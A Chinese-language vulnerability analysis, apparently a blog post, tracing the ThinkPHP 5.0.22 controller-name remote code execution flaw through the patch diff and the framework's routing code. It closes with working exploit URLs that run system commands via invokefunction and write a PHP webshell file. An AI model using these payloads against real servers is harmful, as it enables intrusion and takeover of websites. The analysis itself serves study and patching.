12月9日,thinkPHP5.*發布了安全更新,這次更新修復了一處嚴重級別的漏洞,該漏洞可導致(php/系統)代碼執行,由於框架對控制器名沒有進行足夠的檢測會導致在沒有開啟強制路由的情況下可能的getshell漏洞。
此前沒有研究過thinkPHP框架,這次借這個漏洞學習一下。
#0x01 補丁比對
比較5.0.22和5.0.23的差異,關鍵點在app的module方法。
5.0.22:
// 獲取控制器名 $controller = strip_tags($result[1] ?: $config['default_controller']); $controller = $convert ? strtolower($controller) : $controller;
5.0.23:
// 獲取控制器名 $controller = strip_tags($result[1] ?: $config['default_controller']); if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { throw new HttpException(404, 'controller not exists:' . $controller); } $controller = $convert ? strtolower($controller) : $controller;
更新了對於控制器名的檢查,可見問題就出在這個控制器的失控。
#0x02漏洞分析
thinkphp各版本代碼差異較大,以下使用thinkphp5.0.22版本。
在入口app::run:
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
app::routeCheck:
//Request::path獲取http $_SERVER以及根據config配置參數進行處理
/*
$path = '{$module}/{$controller}/{$action}?{$param1}={$val1}&{$param2}={$val2}……'
*/
$path = $request->path();
$depr = $config['pathinfo_depr'];
$result = false;
這里先去request::path獲取參數:
public function pathinfo()
{
if (is_null($this->pathinfo)) {
if (isset($_GET[Config::get('var_pathinfo')])) { #s
// 判斷URL里面是否有兼容模式參數
$_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')];
unset($_GET[Config::get('var_pathinfo')]);
} elseif (IS_CLI) {
// CLI模式下 index.php module/controller/action/params/...
$_SERVER['PATH_INFO'] = isset($_SERVER['argv'][1]) ? $_SERVER['argv'][1] : '';
}
// 分析PATHINFO信息
if (!isset($_SERVER['PATH_INFO'])) {
foreach (Config::get('pathinfo_fetch') as $type) { #['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL']
if (!empty($_SERVER[$type])) {
$_SERVER['PATH_INFO'] = (0 === strpos($_SERVER[$type], $_SERVER['SCRIPT_NAME'])) ?
substr($_SERVER[$type], strlen($_SERVER['SCRIPT_NAME'])) : $_SERVER[$type];
break;
}
}
}
$this->pathinfo = empty($_SERVER['PATH_INFO']) ? '/' : ltrim($_SERVER['PATH_INFO'], '/');
}
return $this->pathinfo;
}
/**
* 獲取當前請求URL的pathinfo信息(不含URL后綴)
* @access public
* @return string
*/
public function path()
{
if (is_null($this->path)) {
$suffix = Config::get('url_html_suffix'); #html
$pathinfo = $this->pathinfo();
if (false === $suffix) {
// 禁止偽靜態訪問
$this->path = $pathinfo;
} elseif ($suffix) {
// 去除正常的URL后綴
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
// 允許任何后綴訪問
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
}
return $this->path;
}
這里通過幾種方式去解析路徑,可以利用兼容模式傳入s參數,去傳遞一個帶反斜杠的路徑(eg:\think\app),如果使用phpinfo模式去傳參,傳入的反斜杠會被替換為'\'。
回到routeCheck:
// 路由檢測(根據路由定義返回不同的URL調度)
$result = Route::check($request, $path, $depr, $config['url_domain_deploy']); #false
$must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']; #false
if ($must && false === $result) {
// 路由無效
throw new RouteNotFoundException();
}
}
// 路由無效 解析模塊/控制器/操作/參數... 支持控制器自動搜索
if (false === $result) {
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
}
路由檢測時失敗,如果開啟了強制路由檢查會拋出RouteNotFoundException,但默認這個強制路由是不開啟的,也就是官方指的沒有開啟強制路由可能getshell。
Route::parseUrl:
public static function parseUrl($url, $depr = '/', $autoSearch = false)
{
if (isset(self::$bind['module'])) {
$bind = str_replace('/', $depr, self::$bind['module']);
// 如果有模塊/控制器綁定
$url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr);
}
$url = str_replace($depr, '|', $url);
list($path, $var) = self::parseUrlPath($url);
$route = [null, null, null];
if (isset($path)) {
// 解析模塊
$module = Config::get('app_multi_module') ? array_shift($path) : null;
if ($autoSearch) {
// 自動搜索控制器
$dir = APP_PATH . ($module ? $module . DS : '') . Config::get('url_controller_layer');
$suffix = App::$suffix || Config::get('controller_suffix') ? ucfirst(Config::get('url_controller_layer')) : '';
$item = [];
$find = false;
foreach ($path as $val) {
$item[] = $val;
$file = $dir . DS . str_replace('.', DS, $val) . $suffix . EXT;
$file = pathinfo($file, PATHINFO_DIRNAME) . DS . Loader::parseName(pathinfo($file, PATHINFO_FILENAME), 1) . EXT;
if (is_file($file)) {
$find = true;
break;
} else {
$dir .= DS . Loader::parseName($val);
}
}
if ($find) {
$controller = implode('.', $item);
$path = array_slice($path, count($item));
} else {
$controller = array_shift($path);
}
} else {
// 解析控制器
$controller = !empty($path) ? array_shift($path) : null;
}
// 解析操作
$action = !empty($path) ? array_shift($path) : null;
// 解析額外參數
self::parseUrlParams(empty($path) ? '' : implode('|', $path));
// 封裝路由
$route = [$module, $controller, $action];
// 檢查地址是否被定義過路由
$name = strtolower($module . '/' . Loader::parseName($controller, 1) . '/' . $action);
$name2 = '';
if (empty($module) || isset($bind) && $module == $bind) {
$name2 = strtolower(Loader::parseName($controller, 1) . '/' . $action);
}
if (isset(self::$rules['name'][$name]) || isset(self::$rules['name'][$name2])) {
throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));
}
}
return ['type' => 'module', 'module' => $route];
}
/**
* 解析URL的pathinfo參數和變量
* @access private
* @param string $url URL地址
* @return array
*/
private static function parseUrlPath($url)
{
// 分隔符替換 確保路由定義使用統一的分隔符
$url = str_replace('|', '/', $url);
$url = trim($url, '/');
#echo $url."<br/>";
$var = [];
if (false !== strpos($url, '?')) {
// [模塊/控制器/操作?]參數1=值1&參數2=值2...
$info = parse_url($url);
$path = explode('/', $info['path']);
parse_str($info['query'], $var);
} elseif (strpos($url, '/')) {
// [模塊/控制器/操作]
$path = explode('/', $url);
} else {
$path = [$url];
}
return [$path, $var];
}
這里拆分模塊/控制器/操作,傳入的url受用戶控制,處理后分割成一個module數組返回。
之后交給app::module處理:
// 獲取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
#這里是本次補丁的修補位置,對控制器名增加檢查
$controller = $convert ? strtolower($controller) : $controller;
......
try {
$instance = Loader::controller(
$controller,
$config['url_controller_layer'],
$config['controller_suffix'],
$config['empty_controller']
);
} catch (ClassNotFoundException $e) {
throw new HttpException(404, 'controller not exists:' . $e->getClass());
}
這里會調用loader::controller對控制器進行一個檢查:
public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
{
list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);
if (class_exists($class)) {
return App::invokeClass($class);
}
if ($empty) {
$emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);
if (class_exists($emptyClass)) {
return new $emptyClass(Request::instance());
}
}
throw new ClassNotFoundException('class not exists:' . $class, $class);
}
如果class_exists檢測存在,就會去實例化這個類,之后invokeMethod對操作實現調用。
#0x03 利用方法
通過兼容模式傳入一個以反斜杠開始的類名,由於命名空間的特點,可以實例化任何一個存在的類(由於class_exists檢查,需要應用載入過)。
比如我們傳入index/\think\app/invokefunction,parseUrl拆解出的模塊,控制器,操作分別對應index,\think\app,invokefunction,只要能通過檢查,就會去調用app::invokefunction。
用這樣的方法,去尋找合適的類實例化來造成代碼執行。
#0x04 Poc
/thinkphp/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir /thinkphp/public/?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1 /thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars=dir /thinkphp/public/?s=index/\think\app/invokefunction&function=system&return_value=&command=dir /thinkphp/public/?s=index/\think\app/invokefunction&function=system&vars[0]=dir&vars[1][]= /thinkphp/public/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
ps:
前面太蠢了,只知道生硬的看代碼,后來終於想起來開啟thinkphp的調試模式,再找問題就比較容易了。
